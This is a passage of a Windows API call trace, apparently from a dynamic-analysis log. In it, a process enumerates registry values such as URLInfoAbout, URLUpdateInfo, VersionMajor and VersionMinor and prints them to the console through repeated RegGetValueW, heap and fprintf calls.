lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.522] GetConsoleOutputCP () returned 0x1b5 [0148.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0148.522] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.522] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.523] __iob_func () returned 0x7fefd702a80 [0148.523] _fileno (_File=0x7fefd702ab0) returned 1 [0148.523] _errno () returned 0xc4bb0 [0148.523] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.523] _errno () returned 0xc4bb0 [0148.523] GetFileType (hFile=0x50) returned 0x1 [0148.523] lstrlenW (lpString=" ") returned 4 [0148.523] GetConsoleOutputCP () returned 0x1b5 [0148.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.523] GetConsoleOutputCP () returned 0x1b5 [0148.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.523] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.523] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.523] __iob_func () returned 0x7fefd702a80 [0148.523] _fileno (_File=0x7fefd702ab0) returned 1 [0148.523] _errno () returned 0xc4bb0 [0148.523] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.523] _errno () returned 0xc4bb0 [0148.523] GetFileType (hFile=0x50) returned 0x1 [0148.523] lstrlenW (lpString="REG_SZ") returned 6 [0148.523] GetConsoleOutputCP () returned 0x1b5 [0148.523] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.523] GetConsoleOutputCP () returned 0x1b5 [0148.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.524] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.524] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.524] __iob_func () returned 0x7fefd702a80 [0148.524] _fileno (_File=0x7fefd702ab0) returned 1 [0148.524] _errno () returned 0xc4bb0 [0148.524] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.524] _errno () returned 0xc4bb0 [0148.524] GetFileType (hFile=0x50) returned 0x1 [0148.524] lstrlenW (lpString=" ") returned 4 [0148.524] GetConsoleOutputCP () returned 0x1b5 [0148.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.524] GetConsoleOutputCP () returned 0x1b5 [0148.524] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.524] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.524] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.524] __iob_func () returned 0x7fefd702a80 [0148.524] _fileno (_File=0x7fefd702ab0) returned 1 [0148.524] _errno () returned 0xc4bb0 [0148.524] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.524] _errno () returned 0xc4bb0 [0148.524] GetFileType (hFile=0x50) returned 0x1 [0148.524] lstrlenW (lpString="") returned 0 [0148.524] __iob_func () returned 0x7fefd702a80 [0148.524] _fileno (_File=0x7fefd702ab0) returned 1 [0148.524] _errno () returned 0xc4bb0 [0148.525] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.525] _errno () returned 0xc4bb0 [0148.525] GetFileType (hFile=0x50) returned 0x1 [0148.525] lstrlenW (lpString="\n") returned 1 [0148.525] GetConsoleOutputCP () returned 0x1b5 [0148.525] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.525] GetConsoleOutputCP () returned 0x1b5 [0148.525] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.525] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.525] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.525] GetProcessHeap () returned 0x2e0000 [0148.525] GetProcessHeap () returned 0x2e0000 [0148.525] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.525] GetProcessHeap () returned 0x2e0000 [0148.525] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.525] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.525] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.525] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.525] GetProcessHeap () returned 0x2e0000 [0148.525] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.525] GetProcessHeap () returned 0x2e0000 [0148.525] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.525] GetProcessHeap () returned 0x2e0000 [0148.525] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.525] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.525] __iob_func () returned 0x7fefd702a80 [0148.525] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.526] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.526] _fileno (_File=0x7fefd702ab0) returned 1 [0148.526] _errno () returned 0xc4bb0 [0148.526] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.526] _errno () returned 0xc4bb0 [0148.526] GetFileType (hFile=0x50) returned 0x1 [0148.526] lstrlenW (lpString=" ") returned 4 [0148.526] GetConsoleOutputCP () returned 0x1b5 [0148.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.526] GetConsoleOutputCP () returned 0x1b5 [0148.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.526] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.526] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.526] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.526] __iob_func () returned 0x7fefd702a80 [0148.526] _fileno (_File=0x7fefd702ab0) returned 1 [0148.526] _errno () returned 0xc4bb0 [0148.526] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.526] _errno () returned 0xc4bb0 [0148.526] GetFileType (hFile=0x50) returned 0x1 [0148.526] lstrlenW (lpString="URLUpdateInfo") returned 13 [0148.526] GetConsoleOutputCP () returned 0x1b5 [0148.526] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.526] GetConsoleOutputCP () returned 0x1b5 [0148.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0148.527] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.527] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.527] __iob_func () returned 0x7fefd702a80 [0148.527] _fileno (_File=0x7fefd702ab0) returned 1 [0148.527] _errno () returned 0xc4bb0 [0148.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.527] _errno () returned 0xc4bb0 [0148.527] GetFileType (hFile=0x50) returned 0x1 [0148.527] lstrlenW (lpString=" ") returned 4 [0148.527] GetConsoleOutputCP () returned 0x1b5 [0148.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.527] GetConsoleOutputCP () returned 0x1b5 [0148.527] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.527] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.527] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.527] __iob_func () returned 0x7fefd702a80 [0148.527] _fileno (_File=0x7fefd702ab0) returned 1 [0148.527] _errno () returned 0xc4bb0 [0148.527] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.527] _errno () returned 0xc4bb0 [0148.527] GetFileType (hFile=0x50) returned 0x1 [0148.527] lstrlenW (lpString="REG_SZ") returned 6 [0148.527] GetConsoleOutputCP () returned 0x1b5 [0148.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.528] GetConsoleOutputCP () returned 0x1b5 [0148.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.528] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.528] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.528] __iob_func () returned 0x7fefd702a80 [0148.528] _fileno (_File=0x7fefd702ab0) returned 1 [0148.528] _errno () returned 0xc4bb0 [0148.528] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.528] _errno () returned 0xc4bb0 [0148.528] GetFileType (hFile=0x50) returned 0x1 [0148.528] lstrlenW (lpString=" ") returned 4 [0148.528] GetConsoleOutputCP () returned 0x1b5 [0148.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.528] GetConsoleOutputCP () returned 0x1b5 [0148.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.528] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.528] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.528] __iob_func () returned 0x7fefd702a80 [0148.528] _fileno (_File=0x7fefd702ab0) returned 1 [0148.528] _errno () returned 0xc4bb0 [0148.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.529] _errno () returned 0xc4bb0 [0148.529] GetFileType (hFile=0x50) returned 0x1 [0148.529] lstrlenW (lpString="") returned 0 [0148.529] __iob_func () returned 0x7fefd702a80 [0148.529] _fileno (_File=0x7fefd702ab0) returned 1 [0148.529] _errno () returned 0xc4bb0 [0148.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.529] _errno () returned 0xc4bb0 [0148.529] GetFileType (hFile=0x50) returned 0x1 [0148.529] lstrlenW (lpString="\n") returned 1 [0148.529] GetConsoleOutputCP () returned 0x1b5 [0148.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.529] GetConsoleOutputCP () returned 0x1b5 [0148.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.529] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.529] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.529] GetProcessHeap () returned 0x2e0000 [0148.529] GetProcessHeap () returned 0x2e0000 [0148.529] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.529] GetProcessHeap () returned 0x2e0000 [0148.529] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.529] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.529] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.529] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.529] GetProcessHeap () returned 0x2e0000 [0148.529] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.530] GetProcessHeap () returned 0x2e0000 [0148.530] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.530] GetProcessHeap () returned 0x2e0000 [0148.530] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.530] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xb, pcbData=0x23f670*=0x4) returned 0x0 [0148.530] __iob_func () returned 0x7fefd702a80 [0148.530] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.530] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.530] _fileno (_File=0x7fefd702ab0) returned 1 [0148.530] _errno () returned 0xc4bb0 [0148.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.530] _errno () returned 0xc4bb0 [0148.530] GetFileType (hFile=0x50) returned 0x1 [0148.530] lstrlenW (lpString=" ") returned 4 [0148.530] GetConsoleOutputCP () returned 0x1b5 [0148.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.530] GetConsoleOutputCP () returned 0x1b5 [0148.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.530] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.530] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.530] lstrlenW (lpString="VersionMajor") returned 12 [0148.530] __iob_func () returned 0x7fefd702a80 [0148.530] _fileno (_File=0x7fefd702ab0) returned 1 [0148.530] _errno () returned 0xc4bb0 [0148.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.530] _errno () returned 0xc4bb0 [0148.530] GetFileType (hFile=0x50) returned 0x1 [0148.530] lstrlenW (lpString="VersionMajor") returned 12 [0148.531] GetConsoleOutputCP () returned 0x1b5 [0148.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0148.531] GetConsoleOutputCP () returned 0x1b5 [0148.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0148.531] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0148.531] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.531] __iob_func () returned 0x7fefd702a80 [0148.531] _fileno (_File=0x7fefd702ab0) returned 1 [0148.531] _errno () returned 0xc4bb0 [0148.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.531] _errno () returned 0xc4bb0 [0148.531] GetFileType (hFile=0x50) returned 0x1 [0148.531] lstrlenW (lpString=" ") returned 4 [0148.531] GetConsoleOutputCP () returned 0x1b5 [0148.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.531] GetConsoleOutputCP () returned 0x1b5 [0148.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.531] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.531] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.531] __iob_func () returned 0x7fefd702a80 [0148.531] _fileno (_File=0x7fefd702ab0) returned 1 [0148.532] _errno () returned 0xc4bb0 [0148.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.532] _errno () returned 0xc4bb0 [0148.532] GetFileType (hFile=0x50) returned 0x1 [0148.532] lstrlenW (lpString="REG_DWORD") returned 9 [0148.532] GetConsoleOutputCP () returned 0x1b5 [0148.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.532] GetConsoleOutputCP () returned 0x1b5 [0148.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.532] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.532] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.532] __iob_func () returned 0x7fefd702a80 [0148.532] _fileno (_File=0x7fefd702ab0) returned 1 [0148.532] _errno () returned 0xc4bb0 [0148.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.532] _errno () returned 0xc4bb0 [0148.532] GetFileType (hFile=0x50) returned 0x1 [0148.532] lstrlenW (lpString=" ") returned 4 [0148.532] GetConsoleOutputCP () returned 0x1b5 [0148.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.532] GetConsoleOutputCP () returned 0x1b5 [0148.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.533] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.533] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.533] __iob_func () returned 0x7fefd702a80 [0148.533] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.533] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xb") returned 3 [0148.533] _fileno (_File=0x7fefd702ab0) returned 1 [0148.533] _errno () returned 0xc4bb0 [0148.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.533] _errno () returned 0xc4bb0 [0148.533] GetFileType (hFile=0x50) returned 0x1 [0148.533] lstrlenW (lpString="0xb") returned 3 [0148.533] GetConsoleOutputCP () returned 0x1b5 [0148.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.533] GetConsoleOutputCP () returned 0x1b5 [0148.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xb", lpUsedDefaultChar=0x0) returned 3 [0148.533] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.533] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.533] __iob_func () returned 0x7fefd702a80 [0148.533] _fileno (_File=0x7fefd702ab0) returned 1 [0148.533] _errno () returned 0xc4bb0 [0148.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.533] _errno () returned 0xc4bb0 [0148.533] GetFileType (hFile=0x50) returned 0x1 [0148.533] lstrlenW (lpString="\n") returned 1 [0148.533] GetConsoleOutputCP () returned 0x1b5 [0148.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.534] GetConsoleOutputCP () returned 0x1b5 [0148.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.534] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.534] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.534] GetProcessHeap () returned 0x2e0000 [0148.534] GetProcessHeap () returned 0x2e0000 [0148.534] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.534] GetProcessHeap () returned 0x2e0000 [0148.534] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.534] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.534] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.534] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.534] GetProcessHeap () returned 0x2e0000 [0148.534] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.534] GetProcessHeap () returned 0x2e0000 [0148.534] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.534] GetProcessHeap () returned 0x2e0000 [0148.534] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.534] 